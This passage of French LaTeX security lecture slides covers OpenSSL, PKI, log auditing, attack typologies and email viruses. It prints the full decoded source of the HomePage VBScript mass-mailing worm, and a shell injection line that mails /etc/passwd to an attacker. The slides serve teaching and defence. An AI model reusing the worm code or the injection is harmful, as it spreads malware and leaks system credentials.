\begin{itemizet} \item \texttt{openssl(1)} : outil de gestion en ligne du système \item \texttt{ssl(3)} : bibliothèque réalisant le protocole SSL/TLS \item \texttt{crypto(3)} : bibliothèque contenant les algorithmes cryptographiques \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Commande openssl} Commande permettant \begin{itemizer} \item Création de clés ou modification de paramètres RSA, Diffie-Hellmann et DSA \item Création de certificats X.509 : CSR (demande de signature de certificat) et CRL (certificat de révocation) \item Calcul de résumé cryptographique de message \item Chiffrement et déchiffrement avec différents systèmes \item Tests de clients et serveurs SSL/TLS \item Gestion de signature ou de courriel S/MIME \end{itemizer} \end{trans} \begin{trans}{Création de certificats} \begin{itemizer} \item \LienPDF{http://www.octaldream.com/~scottm/talks/ssl/opensslca.html} \item \LienPDF{http://www.hsc.fr/ressources/breves/ssl\_configuration.html} \item Modifier les paramètres par défaut dans \texttt{/usr/lib/ssl/openssl.cnf}, typiquement les \verb|[ req_distinguished_name ]| \item Création d'un certificat privé (\emph{Certificate Authority}) \begin{itemizet} \item Permettant à SSL de vérifier l'authenticité d'un certificat \item Devenir un tiers de confiance : le CA permet de créer des certificats signés et si un client possède le CA il pourra vérifier les certificats signés par ce CA \item Permet de créer une unité de certification (privée) au sein d'une entreprise \item Génère un répertoire \texttt{demoCA} \end{itemizet} Lancer un script qui cache l'appel à \texttt{openssl} : \begin{exemple} keryell@amd1:~$ /usr/lib/ssl/misc/CA.sh -newca CA certificate filename (or enter to create) Making CA certificate ... Using configuration from /usr/lib/ssl/openssl.cnf Generating a 1024 bit RSA private key ................................................++++++ .............++++++ writing new private key to './demoCA/private/./cakey.pem' Enter PEM pass phrase: Verifying password - Enter PEM pass phrase: ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:FRANCE Locality Name (eg, city) []:PLOUZANE Organization Name (eg, company) [Internet Widgits Pty Ltd]:ENSTBr Organizational Unit Name (eg, section) []:LIT Common Name (eg, YOUR name) []:Keryell Email Address []:Ronan.Keryell@enst-bretagne.fr \end{exemple}%$ \item Création d'un certificat pour demande de certification (fait par utilisateur final à organisme de certification) \begin{itemizet} \item \verb|/usr/lib/ssl/misc/CA.sh -newreq| \item Questions/réponses similaires au cas précédent \item Génère un \texttt{newreq.pem} \end{itemizet} \item Signature d'un certificat par un CA (fait par l'organisme de certification) \begin{itemizet} \item \verb|/usr/lib/ssl/misc/CA.sh -sign| \item Prend un \texttt{newreq.pem} et génère un \texttt{newcert.pem} \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Exemple d'utilisation d'OpenSSL} \begin{itemizer} \item \LienPDF{http://www.openssl.org/docs/ssl/ssl.html} \item \LienPDF{http://www2.psy.uq.edu.au/~ftp/Crypto/ssl.html} \item Client \begin{exemple} /* Create an SSL context */ con = (SSL *) SSL_new(); /* Do normal socket(), [bind()] connect() into s */ /* Give it a file descriptor to use */ SSL_set_fd(con, s); /* do the SSL connection */ SSL_connect(con); /* Then use SSL_read() and SSL_write() rather than read() and write() : */ SSL_write(con, "hello\n", 6); \end{exemple} \item Serveur \begin{exemple} /* Create an SSL context */ con= (SSL *) SSL_new(); /* Do normal socket(), bind(), listen(), accept() */ /* Give it a file descriptor to use */ SSL_set_fd(con, s); /* Specify private key */ SSL_use_RSAPrivateKey(con, "server.rsa"); /* Specify certificate */ SSL_use_certificate(con, "server.cert"); /* Accept the connection */ SSL_accept(con); /* Then use SSL_read() and SSL_write() rather than read() and write() : */ SSL_read(con, buf, 1024); /* Stop the SSL connexion */ SSL_shutdown(con); \end{exemple} \end{itemizer} \end{trans} \input{../../../lib/Reseaux/IPsec/Introduction} \slidepart{PKI} \begin{trans}{Distribuer des clés publiques ?} \begin{itemizer} \item Algorithmes asymétriques à clé publique très utiles \item \vavers{} Besoin de distribuer clés publiques \item Talon d'Achille : comment distribuer de manière sure les clés publiques ? \item Chaque application a sa manière de gérer les clés... \frownie \end{itemizer} \belleboite{Infrastructure de gestion de Clés Publiques} PKI : \emph{Public Key Infrastructure}\\ \LienPDF{http://www.pki-page.com/} \end{trans} \begin{trans}{PKI} \begin{itemizer} \item Permet gestion de clés publiques à grande échelle avec différents services : \begin{itemizet} \item Autorité de certification \item Autorité d'enregistrement \item Opérateur de certification (stockage) \item Distribution : annuaire de publication \item Vérification de validité (nécessite en général de remonter la chaîne de certification) \item Révocation (clé privée volée ?) \item Mécanisme de sauvegarde (séquestre) et de secours (pratique si on a perdu la clé qui chiffrait ses données\ldots \frownie) \end{itemizet} \item Plusieurs systèmes/modèles d'infrastructure existent, incompatibles,... \item En cours de standardisation par l'IETF \begin{itemizet} \item PKIX \LienPDF{http://www.ietf.org/html.charters/pkix-charter.html} \emph{Public-Key Infrastructure X.509} \item SPKI \LienPDF{http://www.ietf.org/html.charters/spki-charter.html} \item DNSSEC : utilise DNS pour distribuer des clés \end{itemizet} \item Il paraîtrait que le projet Télé-TVA en France a sauvé à court terme le marché des tiers de confiance... \smiley \end{itemizer} \end{trans} \slidepart{DNSSEC} \input{../../../lib/Reseaux/DNSSEC/Introduction} \slidepart{Audit} \begin{trans}{Détection des changements et mise à jour} \begin{itemizer} \item Avoir des copies pour comparaison \begin{itemizet} \item Nécessite une capacité double \item Problèmes de licence interdisant la copie de certains logiciels... \item Permet une remise à jour facile du système après compromission \item Copies locales (cachées sur un disque et/ou chiffrées) ou distantes (via NFS en lecture seulement) \item \Attention{} Les commandes de comparaison peuvent être compromises... \item Automatisation des comparaisons et des installations depuis des maîtres : \texttt{rdist}, \texttt{rsync}, \texttt{cfengine} \end{itemizet} \item Méta-données : liste des fichiers et répertoires, leur droits et leur dates de modification \begin{itemizet} \item Prend moins de place et moins lourd que tout en double \item \Attention{} Dates peuvent être modifiées \end{itemizet} \item Signatures \begin{itemizet} \item Utilisation de fonctions de hachage cryptographiques \item Comparaison des hachages avec une base \item Outil Tripwire : permet de vérifier contenu et/ou droit, dates, etc. configurable par fichier \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Audit et journaux de fonctionnement} \begin{itemizer} \item Une fois système en place, nécessité de garder trace de l'activité et des problèmes \item Faire confiance mais « vérifier tout de même »... \item Permet de trouver trace de \begin{itemizet} \item Bug \item Intrusion \item Dommages causés \end{itemizet} \item Utile pour reconstruire le système, justice, compagnies d'assurance,... \item \Attention{} Les journaux eux-mêmes peuvent être compromis \item Utilisation d'une vieille machine pour stocker les informations depuis une liaison série avec protocole minimal \item Fichiers généralement contenus dans \texttt{/var/adm} et \texttt{/var/log} \begin{itemizet} \item \relax\verb|access_log| indique les fichiers accédés par HTTP \item \texttt{aculog} contient les numéros appelés par modems \item \texttt{lastlog} contient la date de dernière connexion et éventuellement de dernier échec \item \texttt{loginlog} stocke les échecs de connexion \item \texttt{messages} stocke les messages systèmes envoyés à la console par \texttt{syslog} \item \texttt{pacct} enregistre les commandes lancées par tous les utilisateurs. Visualisé via \texttt{lastcomm}. Démarrage de l'enregistrement des commandes par \texttt{/usr/lib/acct/startup} référencé par \texttt{/etc/init.d/acct start} \item \texttt{sulog} contient les usages de la commande \texttt{su} \item \texttt{utmp} possède la liste des utilisateurs connectés (utilisé par \texttt{w}) \item \texttt{utmpx} version étendu d'\texttt{utmp} (contient d'où on est connecté,...) utilisé par \texttt{finger}, \texttt{who} \item \texttt{vold.log} informations du \emph{volume manager} \item \texttt{wtmp} stocke les dates de connexion et de déconnexion ainsi que de reboot \item \texttt{wtmpx} version étendue à la \texttt{utmpx}. Usage par \texttt{last} \item \texttt{xferlog} contient les accès FTP \end{itemizet} \item Les connexions par un processus de login sont enregistrées. \Attention{} Pas les exécutions de commandes à distance via \texttt{rsh} \item Les fichiers de log peuvent devenir très gros \vavers{} refus de service \item Penser à allouer suffisamment de place pour les journaux \item \vavers{} Scripts de nettoyage et de résumés statistiques dans la crontab \item \Attention{} Ne pas effacer simplement un fichier de log mais plutôt \begin{verbatim} cp /dev/null pacct \end{verbatim} par exemple \emph{file descriptors} ouverts possibles (noyau, \texttt{syslog,...}) \item \end{itemizer} \end{trans} \begin{trans}{Syslog} \begin{itemizer} \item Centralisation du système de journalisation des messages d'information \item Permet de modifier le type de journalisation sans avoir à modifier toutes les applications \item Enregistrement \begin{itemizet} \item Nom du programme \item Type (noyau, utilisateur, mail, autorisation,...) \item Importance (critique, urgence, alerte, information, debug,...) \item Message \end{itemizet} \item Configuration par fichier \texttt{/etc/syslog.conf} (attention à l'importance des tabulations) \item Possibilité d'envoyer \begin{itemizet} \item Dans un fichier \item Sur la console \item Sur une imprimante, une liaison série (bastion) \item Au \texttt{syslog} d'une autre machine ou plusieurs. Par défaut envoie à la machine \texttt{loghost} si elle existe \end{itemizet} \item Commande \texttt{logger} pour créer des messages \texttt{syslog} depuis un \emph{shell} \item \Attention{} Peut générer de faux messages \texttt{syslog}, avec des caractères spéciaux,... \item \texttt{syslog} utilisé par d'autres système qu'Unix pour centraliser de l'information (routeurs,...) \item \Attention{} Attaques de refus de service sur \texttt{syslog} (UDP port 514)... \item \Attention{} UDP peu sûr \end{itemizer} \end{trans} \begin{trans}{Analyse de log : {swatch}} \begin{itemizer} \item Facilement submergé par tous les journaux de log \item \vavers{} Outil libre écrit en \texttt{perl} \item Extrait les informations anormales par expressions régulières à la \texttt{perl} \item Résumés possibles par intervalle de temps (tel message a été vu tant de fois) \item Actions configurables \end{itemizer} \end{trans} \begin{trans}{Autres traces} \begin{itemizer} \item Si compte corrompu, chercher dans les fichiers d'historique de commande (\verb|~/.history|) \item Ces fichiers peuvent être détruits ou faux... \item Rajouter avant un lien \emph{hard} sur les \texttt{.history} ou essayer carrément les \emph{pipe} nommés \item Des configurations stockant le courriel envoyé dans des fichiers \item Fichier d'autorisation de connexion (\texttt{.rhosts}, \texttt{.netrc}) \item En arrêtant le système on peut geler l'information en cours de piratage \item Aller voir dans les blocs libres du disque démonté s'il reste des traces de fichiers effacés \item \Attention{} Éthique sur la confidentialité de la vie privée ! \end{itemizer} \end{trans} \slidepart{Attaques} \begin{trans}{Trous de sécurités} \LienPDF{http://www.securityfocus.com/vdb/stats.html} : BUGTRAQ Vulnerability Database Statistics \psfiglarge{images/vperm.eps} \psfighautcentre{images/vperos1.eps} \end{trans} \begin{trans}{État en temps réel des virus détectés} \LienPDF{http://malfease.oarci.net/} \LienPDF{http://securitywizardry.com/radar.htm} La déprime du responsable sécurité sur une page \smiley \end{trans} \begin{trans}{Quelques attaques classiques} Qu'est-ce ? Typologie... \begin{itemizer} \item \textbf{Chevaux de Troie} : logiciel qui a des fonctions autres que celles auxquelles on pense \item \textbf{Portes dérobées} : logiciel contenant un moyen d'accès caché au système \item \textbf{Bombes logicielles} : programme qui s'arrête ou détruit des choses sous certaines conditions \item \textbf{Virus} : programme qui modifie le comportement d'un autre pour se diffuser \item \textbf{Vers} : programme se propageant à travers le réseau sans modifier de programme \item \textbf{Bactérie} : se reproduit jusqu'à effondrer le système \item \textbf{Dénis de service} : attaque ralentissant le système ou l'endommageant pour le rendre inutilisable \item Attaques réseau \item Options par défaut « larges » \item Trous de sécurité locaux (et par connexion distants...) \item Authentification faible \item Outils d'audit sécurité utilisés avec malveillance \item Blagues (\emph{hoaxes}) \item Une attaque qui marche peut être publiée sur des listes de discussion \emph{underground}... \end{itemizer} \belleboite{Pour le grand public : tout est virus !} \newslide \begin{itemizet} \item Système pouvant être endommagé \item Au minimum : perte de temps (... et d'argent) \item Perte de données \item Divulgations de documents confidentiels \end{itemizet} \end{trans} \begin{trans}{Chevaux de Troie} \begin{itemizer} \item Virus sous Windows en général \item Macro-virus dans \emph{template} de document MicroSoft Word \item BackOrifice et ses semblables : télécommande de Windows \item Faux message de MicroSoft contenant une fausse mise à jour du système \item Fichier \texttt{.reg} exécuté par l'administrateur et qui modifie la \emph{base de registres} \item Piratage du site FTP contenant TCP \emph{wrapper} avec une version donnant un shell à une certaine adresse IP \item Utilisation de fausses clés PGP d'un auteur de logiciel \item Potentiellement tout programme téléchargé depuis le réseau... \item Modification du noyau pour cacher tout ce qu'on veut : \emph{root-kit} de l'extrême \begin{itemizet} \item FreeBSD : \LienPDF{http://thc.pimmel.com/files/thc/bsdkern.html} \item Linux : \LienPDF{http://thc.pimmel.com/files/thc/LKM\string_HACKING.html} \item Solaris : \LienPDF{http://thc.pimmel.com/files/thc/slkm-1.0.html} \end{itemizet} \vavers{} Réinstaller tout le système... \item Reprogrammation du BIOS (\emph{Basic Input Output System}) de PC, du microcode de Pentium~II, d'un modem, d'un disque dur,... \end{itemizer} \end{trans} \begin{trans}{MicroSoft Vista comme cheval de Troie...} \LienPDF{http://linuxfr.org/~sebek/23640.html} \psfiglarge{securite/MicroSoft/Vista_cheval_de_Troie.eps} \end{trans} \begin{trans}{...puis version corrigée} \psfiglarge{securite/MicroSoft/Vista_cheval_de_Troie_corrige.eps} \end{trans} \begin{trans}{Variantes plus douces} \begin{itemizer} \item Logiciels qui envoient des informations d'utilisation \begin{itemizet} \item Logiciels qui envoient des infos sur leur usage \item \texttt{RealPlayer} qui envoie des informations sur ce qui est reçu \item Des documents de traitement de texte ou de tableur qui font référence explicitement à une URL : accès à chaque ouverture du document... \vavers{} Spécialisation de chaque document et traçage de leur usage et propagation ! Regarder les messages qui sortent... \end{itemizet} \item Logiciels d'échanges de fichiers style Napster ou GNUtella \begin{itemizet} \item Pompe de la bande passante \item Laisser filer des informations internes (utilisateurs, adresses) \item Envoyer des chevaux de Troie \end{itemizet} \LienPDF{http://www.research.att.com/\string~smb/talks/NapsterGnutella/index.htm} \end{itemizer} \end{trans} \begin{trans}{Refus de service} \begin{itemizer} \item Trop d'entêtes HTTP, trop gros entêtes HTTP \vavers{} ralentissement \item Inondation de paquet TCP SYN : plus de place pour les vraies demandes de connexion. Problème intrinsèque de TCP/IP... \item Ping de la mort : plusieurs fragments d'un paquet dont la taille est trop grande pour loger dans le tampon de réassemblage \item Paquets TCP avec drapeau OOB chez MicroSoft \item URL trop long pour IIS : arrêt \item IIS meurt avec \texttt{GET ../..} \item Envoie de caractères sur le port 1031 assassine IIS \item DNS de NT meurt si on lui envoie une réponse sans question \item 1 caractère sur le port 53 fait que le DNS de NT utilise le CPU sans discernement \item N'importe quoi sur le port 135 bloque le CPU à 100\,\% sur NT \item Applet qui prend tout le temps CPU avec plein de threads, ouvrent plein de fenêtres \item Frames HTML récursives \end{itemizer} \end{trans} \begin{trans}{Bombe à décompression} Gain de bande passante : utiliser des formats de compression \begin{itemizer} \item Idée : faire des fichiers dont la décompression fera tout exploser \end{itemizer} \LienPDF{http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html} \tiny \begin{tabular}{|l|l|l|l|r|} \hline \textbf{Type} & \textbf{Used compression} & \textbf{Original size} & \textbf{Compressed size} & \textbf{Ratio}\\\hline\hline simple bomb & gzip'ed gzip'ed gzip (3 stages) & 100 GigaByte & 5928 Bytes & $1,7.10^7:1$\\\hline simple bomb & gzip'ed gzip (2 stages) & 100 GigaByte & 233782 Bytes & $427748:1$\\\hline simple bomb & gzip & 100 GigaByte & 97 MegaByte & $1000:1$\\\hline simple bomb & bzip2'ed bzip2 & 100 GigaByte & 220 Bytes & $4,5.10^8:1$\\\hline simple bomb & bzip2 & 100 GigaByte & 69745 Bytes & $1,6.10^6:1$\\\hline PNG picture bomb & deflate & \begin{tabular}{@{}l@{}} 19000 x 19000, 1-bit (45 MB)\\ expand in 24-bit color to 1 GB \end{tabular} & 44024 Bytes & $1000:1$ ou $2,2.10^3:1$\\\hline GIF picture bomb & LZW & \begin{tabular}{@{}l@{}} 6000 x 6000, 8-bit (288 MB)\\ expand in 24-bit color to 100MB \end{tabular} & 25527 Bytes & $10^4:1$\\\hline OpenOffice bomb & deflate & 100 GigaByte & 97 MegaByte & $1000:1$\\\hline \end{tabular} \end{trans} \begin{trans}{Attaques réseau} \begin{itemizer} \item \emph{Sniffers} de mots de passe (\texttt{telnet}, \texttt{rlogin}, FTP,...) \item Adresses de retour d'erreur du style \verb+|/usr/bin/commande+ pour \texttt{sendmail} \item Confusion entre liens Internet et liens sur le bureau dans Windows \vavers{} page HTML qui peut lancer des commandes arbitraires locales \item ActiveX peut \emph{par construction} faire n'importe quoi \item Divers bugs dans Internet Explorer et Netscape Communicator au niveau de JavaScript et Java qui sortent du «~bac à sable~» d'exécution \item Programmes CGI foireux, souvent installés en standard, permettant l'exécution de commandes \item Programmes CGI mal conçus trop libres avec trop de droits \item Trop de fichiers visibles via WWW, liens symboliques sortant de \texttt{htdocs},... \item Rajout de «~\texttt{.}~» à la fin d'ASP pour récupérer les sources avec IIS \item «~\texttt{..}~» dans une URL permet de remonter avec IIS \item Exécution de commandes arbitraire par IIS avec des \texttt{.bat} ou \texttt{.cmd} \item Extension FrontPage permettant d'installer des scripts CGI arbitraires \item Transferts de tables NIS sous Unix \item Faible authentification RPC Unix de base \item Exécution de commandes à distance dans des logiciels de discussion \item Pollution de cache DNS \item Faux sites Internet qui usurpent ou redirige vers les vrais mais en espionnant au passage \end{itemizer} \end{trans} \begin{trans}{Options par défaut « larges »} \begin{itemizer} \item « \texttt{+} » dans \texttt{/etc/hosts.equiv} de SunOS~4 \item Configuration de serveurs WWW \item Scripts CGI de test \item Compte utilisateur par défaut (\texttt{guest},...) \item Groupe \texttt{Everyone} sur MicroSoft peut mettre un cheval de Troie dans \verb|...\system32| \item Partage NetBIOS à tout le monde sous Windows \end{itemizer} \end{trans} \begin{trans}{Trous de sécurité locaux (et distants...)} \begin{itemizer} \item Problèmes de conception : droits foireux, conflits dans \texttt{/tmp} (lien symbolique vers fichier sensible),... \item Oubli de perte de privilège de programmes \emph{suid} : démon \texttt{finger} et \texttt{sendmail} capable de lire n'importe quel fichier \item Débordement de tampons alloués dans la pile (variables \emph{automatic} du C) : si donnée trop grande débordement dans une zone mémoire stockant l'adresse de retour de fonction \vavers{} exécution de code arbitraire dans des programmes \emph{suid}, \texttt{ftpd},... \item Exploitation de méta-caractères dans un \emph{shell}\\ \texttt{mail moi \emph{; mail pirate < /etc/passwd}} \item Changement de la variable \verb|$IFS| %%$ qui définit les séparateurs. Commande \texttt{/bin/ls} comprise comme \texttt{bin ls}... Si commande \texttt{bin} dans le \verb|$PATH| %%$ d'une commande \emph{suid} \texttt{root} qui fait un \texttt{system()} : bug de \texttt{preserve} \item Modification d'un fichier provocant exécution pirate \begin{itemizet} \item \verb|~/.login|, \verb|~/.profile|, \verb|~/.cshrc|, \verb|~/.bashrc|,... exécutés lors du lancement de shell \item \verb|.exrc| dans \verb|~| ou dans le répertoire local exécuté par \texttt{vi} ou \texttt{ex} \item \verb|~/.emacs| Emacs-Lisp lancé au démarrage d'Emacs \item \verb|~/.forward| ou \verb|~/.procmail| exécuté lors de la réception d'un courriel \item \verb|~/.netscape| lancement de \emph{plug-ins}, \verb|~/.mailcap| lancement de méthodes MIME \item ... \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Authentification faible} \begin{itemizer} \item Mots de passe trop simples : approche par dictionnaire \item Si récupération des mots de passe hachés (\texttt{/etc/shadow} Unix ou SAM NT) comparaison accélérée sans passer par le processus de \emph{login} (outils Crack UNIX/NT \& L0phtCrack NT) \item Différentes méthodes d'authentification SMB plus ou moins fortes (compatibilité avec le passé...). Attaque avec plus ou moins de force possible \item Mots de passe hachés stockés dans le SAM (\emph{Security Accounts Manager)} de NT par DES avec une clé dérivée du Relative Domain ID. Après un \emph{Emergency Restore Disk} reste une copie lisible par tout le monde dans \verb|...\system32\ERD| \item Mots de passe d'Access 97 stockés simplement avec un XOR d'une constante de 13 octets \end{itemizer} \end{trans} \begin{trans}{Outils de sécurité} \begin{itemizer} \item Très pratique pour faire un audit de réseau \item \Attention{} Mais les failles trouvées peuvent aussi servir à un attaquant... \item Beaucoup d'outils existent \begin{itemizet} \item SATAN \item COPS \item Tiger \item ISS \item Nessus%%www.nessus.org \item ... \end{itemizet} \item Les utiliser pour fermer les failles avant que d'autres les essayent... \end{itemizer} \end{trans} \begin{trans}{Script CGI} \begin{itemizer} \item Faire tourner avec un droit \emph{minimal} (pas \texttt{root !}) \item Virer tous les caractères néfastes en entrée qui pourraient entraîner une utilisation malicieuse (méta-caractères dans adresse de mail pour exécuter une commande en plus de l'envoi du mail) \item Utiliser le mode « teinté » de \texttt{perl} qui empêche tout ce qui vient de l'extérieur d'être utilisé dans des commandes qui modifient des fichiers ou processus ou dans des sous-shells \item Faire de l'audit de code \item Faire des tests intensifs hors-norme (envoi de tonnes de données,...) \end{itemizer} \end{trans} \slidepart{Virus} \begin{trans}{Principe : virus exploitant la crédulité} Le virus \emph{assisté par humain}... Blagues (\emph{hoaxes}) \begin{itemizer} \item «~\emph{Si vous recevez un mail avec le sujet truc-muche votre disque dur s'autodétruira, votre mari/femme vous quittera, etc}~» signé IBM ou MicroSoft pour donner du poids \item «~\emph{Surtout propagez ce message à tous les gens que vous connaissez tellement que c'est important} » \item Faire une chaîne de pétition pour une raison humanitaire qu'il faut envoyer à une personne : submergée de courriels \item Fait perdre du temps et de la bande passante \item «~\emph{Si vous avez le fichier \emph{machin-chose} vous avez le virus \emph{truc-muche}} ! » \begin{itemizet} \item Ce fichier existe ! \item On l'efface pour virer le virus \item Mais c'était une blague ! Le fichier faisait partie du système d'exploitation \item \Attention{} Ordinateur devenu inutilisable... \end{itemizet} \item Essayer de vérifier l'origine des informations, des programmes,... \LienPDF{http://www.hoaxbuster.com} \item Mais qu'est-ce qui est vrai ? Qu'est-ce qui est faux ?... \end{itemizer} \belleboite{Virus informatique : on automatise le concept !} \end{trans} \begin{trans}{Comment est-ce possible ?} \begin{itemizer} \item Tout est programmable \begin{itemizet} \item Macros en VBScript en MicroSoft Word, Excel, PowerPoint, OutLook,... \item ActiveX : faire confiance au programmeur \item Java : faire confiance au bac à sable qui peut avoir des fuites \item JavaScript \item Flash peut lancer des commandes MS-DOS (virus SWF/LFM-926 de 1/2002) \end{itemizet} \item Monopole de MicroSoft : simplifie les configurations possibles, programmes « portables de fait » \item Automatisation à outrance \item Gestion des options laxistes (pour éviter le recours au SAV \frownie{} et à la lecture des modes d'emploi...) \item On ne fait plus attention aux questions posées (\emph{cliquodrome}) \item Possibilité offerte d'exécuter du {\red code arbitraire} \Attention \item Erreurs de programmation « \emph{bugs} » \vavers{} faire faire quelque chose de non prévu à un programme \item Incohérences dans l'interface utilisateur \begin{itemizet} \item Extension utilisée pour l'affichage ne correspond pas au type utilisé pour l'exécution (\verb|W32/SirCam@MM|,...) \item \texttt{Etiquettes G. de Bussac Fichier secondaire{\green .doc}{\red .bat}}\\ On pense ouvrir un document Word \texttt{\green .doc} alors qu'on exécute un programme \texttt{\red .bat} \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Virus opportuniste} Interpeller avec un courriel d'actualité \begin{exemple} Subject: Fwd:Peace BeTween AmeriCa And IsLam ! Hi! iS iT A waR Against AmeriCa Or IsLam! Let's Vote To Live in Peace! Attachment: WTC.EXE \end{exemple} \deuxcolonnes{% \begin{itemizer} \item Si l'utilisateur demande l'exécution de \texttt{WTC.EXE} : \begin{itemizet} \item Création de fichiers VB scripts sur le disque (\texttt{MixDaLaL.vbs}, \texttt{Zacker.vbs},...) \item Changement de page de demarrage de Windows \item Tente d'effacer le logiciel d'antivirus \item Essaye de télécharger un programme de récupération de mots de passe \end{itemizet} \item Failles exploitées : \begin{itemizet} \item Crédulité \item Possibilité d'exécuter simplement un programme quelconque \end{itemizet} \end{itemizer}% } \end{trans} \begin{trans}{Macro Word, Excel, PowerPoint} %% http://www.cert.org/advisories/CA-2001-28.html \begin{itemizer} \item Possibilité de mettre du code exécutable dans un document Word, PowerPoint,... \item De nombreux problèmes par le passé \vavers{} suppression de l'exécution des macros à l'ouverture du fichier par défaut \item ... mais le 4/10/2001, faille trouvée : on peut construire des macros avec une syntaxe incorrecte : \begin{itemizet} \item Non vues par le système interdisant les macros à l'ouverture \item Vues par le système chargé de leur exécution \end{itemizet} \item Faille exploitée \begin{itemizet} \item Erreur de programmation \item Possibilité de mettre un programme dans un document textuel \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Jeu des 7 différences (Nimda est passé par là)} %% http://www.spi.ens.fr/beig/256.gif %% http://www.spi.ens.fr/beig/262.gif Trafic Internet entre l'ENS et l'extérieur \deuxcolonnes{% \psfiglarge{images/debit_ens_256.eps} \psfiglarge{images/debit_ens_262.eps}% } CERT Advisory CA-2001-26 Nimda Worm \LienPDF{http://www.cert.org/advisories/CA-2001-26.html} \begin{itemizer} \item Le virus Nimda a commencé à se propager mardi \item Les anti-virus sont sortis mercredi \item Propagation: \begin{itemizet} \item courriel $\to$ courriel via Windows/OutLook\\ Effet assez limité dès que l'anti-virus est sorti \item « Partages » à la Windows : une machine infectée peut vite infecter les voisines en réseau \item Recherche de serveurs WWW Windows/IIS avec bugs (test du port TCP/80) \end{itemizet} \item Parades : \begin{itemizet} \item Sensibiliser les utilisateurs \item Utiliser d'autres logiciels \item Antivirus très à jour \item Interdire les accès IIS inutiles \item Supprimer/filtrer les partages Windows \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Une semaine dans la vie d'un administrateur système...} Virus MicroSoft de la Semaine du 4 au 11 octobre 2001 reçus par \texttt{ens.fr} : \begin{multicols}{2} \begin{itemizet} \item 256 \verb|W32/SirCam@MM| \item 63 \verb|W32/Hybris.gen@MM| \item 60 \verb|W32/Magistr.b@MM| \item 52 \verb|W32/Magistr.a@MM| \item 9 \verb|VBS/Tam@M| \item 7 \verb|JS/Kak@M| \item 6 \verb|W32/FunLove.gen| \item 3 \verb|W32/Nimda@MM| \item 2 \verb|W97M/Thus.gen| \item 1 \verb|WM/Cap| \item 1 \verb|W97M/Marker.o| \item 1 \verb|W97M/Marker.gen| \item 1 \verb|W97M/Class| \item 1 \verb|W32/Nimda.htm| \item 1 \verb|VBS/Haptime@MM| \end{itemizet} \end{multicols} \end{trans} \begin{trans}{Virus HomePage (homepage.HTML.vbs)} \begin{itemizer} \item Failles exploitées : \begin{itemizet} \item Crédulité \item Incohérence interface graphique entre \texttt{.HTML} et \texttt{.vbs} \item Possibilité d'exécuter simplement un programme quelconque \item Utilisation de la programmation d'OutLook pour s'envoyer aux membres de son carnet d'adresses \end{itemizet} \item Programme encodé pour se cacher un peu \begin{exemple} Execute DeCode("QpGttqtTguwogPgzvUgvYU?EtgcvgQdlgev*$YUetkrv0Ujgnn$+UgvHUQ?Etgcv ... 0tgiytkvg$JMEW^uqhvyctg^Cp^ockngf$.$3$GpfKhPgzvGpfKhPgzvGpfkhGpfHwpevkqp") Function DeCode(Coded) For I = 1 To Len(Coded) CurChar= Mid(Coded, I, 1) If Asc(CurChar) = 15 Then CurChar= Chr(10) ElseIf Asc(CurChar) = 16 Then CurChar= Chr(13) ElseIf Asc(CurChar) = 17 Then CurChar= Chr(32) ElseIf Asc(CurChar) = 18 Then CurChar= Chr(9) Else CurChar = Chr(Asc(CurChar) - 2) End If DeCode = DeCode & CurChar Next End Function \end{exemple} \item Après \verb|perl -p -e 'tr/\017\020\021\022\002-\377/\012\015| \verb|\040\011\000-\375/'< homepage.HTML.vbs| décodage équivalent à DeCode () : %%\begin{multicols}{2} \begin{exemple} On Error Resume Next Set WS = CreateObject("WScript.Shell") Set FSO= Createobject("scripting.filesystemobject") Folder=FSO.GetSpecialFolder(2) Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1) Do While InF.AtEndOfStream<>True ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf Loop Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true) OutF.write ScriptBuffer OutF.close Set FSO=Nothing If WS.regread ("HKCU\software\An\mailed") <> "1" then Mailit() End If Set s=CreateObject("Outlook.Application") Set t=s.GetNameSpace("MAPI") Set u=t.GetDefaultFolder(6) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).close u.Items.Item(i).delete End If Next Set u=t.GetDefaultFolder(3) For i=1 to u.items.count If u.Items.Item(i).subject="Homepage" Then u.Items.Item(i).delete End If Next Randomize r=Int((4*Rnd)+1) If r=1 then WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm") elseif r=2 Then WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm") elseif r=3 Then WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm") ElseIf r=4 Then WS.Run("http://sheila.issexy.tv/1.htm") End If Function Mailit() On Error Resume Next Set Outlook = CreateObject("Outlook.Application") If Outlook = "Outlook" Then Set Mapi=Outlook.GetNameSpace("MAPI") Set Lists=Mapi.AddressLists For Each ListIndex In Lists If ListIndex.AddressEntries.Count <> 0 Then ContactCount = ListIndex.AddressEntries.Count For Count= 1 To ContactCount Set Mail = Outlook.CreateItem(0) Set Contact = ListIndex.AddressEntries(Count) Mail.To = Contact.Address Mail.Subject = "Homepage" Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page! It's really cool ;O)"&vbcrlf&vbcrlf Set Attachment=Mail.Attachments Attachment.Add Folder & "\homepage.HTML.vbs" Mail.DeleteAfterSubmit = True If Mail.To <> "" Then Mail.Send WS.regwrite "HKCU\software\An\mailed", "1" End If Next End If Next End if End Function \end{exemple} %%\end{multicols} \end{itemizer} \end{trans} \begin{trans}{W32/SirCam@MM} \begin{itemizer} \item Toutes versions de Windows \item Arrive comme un courriel avec un document en pièce jointe qu'il faut exécuter \item Se cache : \begin{itemizet} \item Double extension (style \texttt{.doc.bat}) \item Choisit un document au hasard \item Sujet du courriel : extrait du titre du document \end{itemizet} \item S'envoie à des relations de son 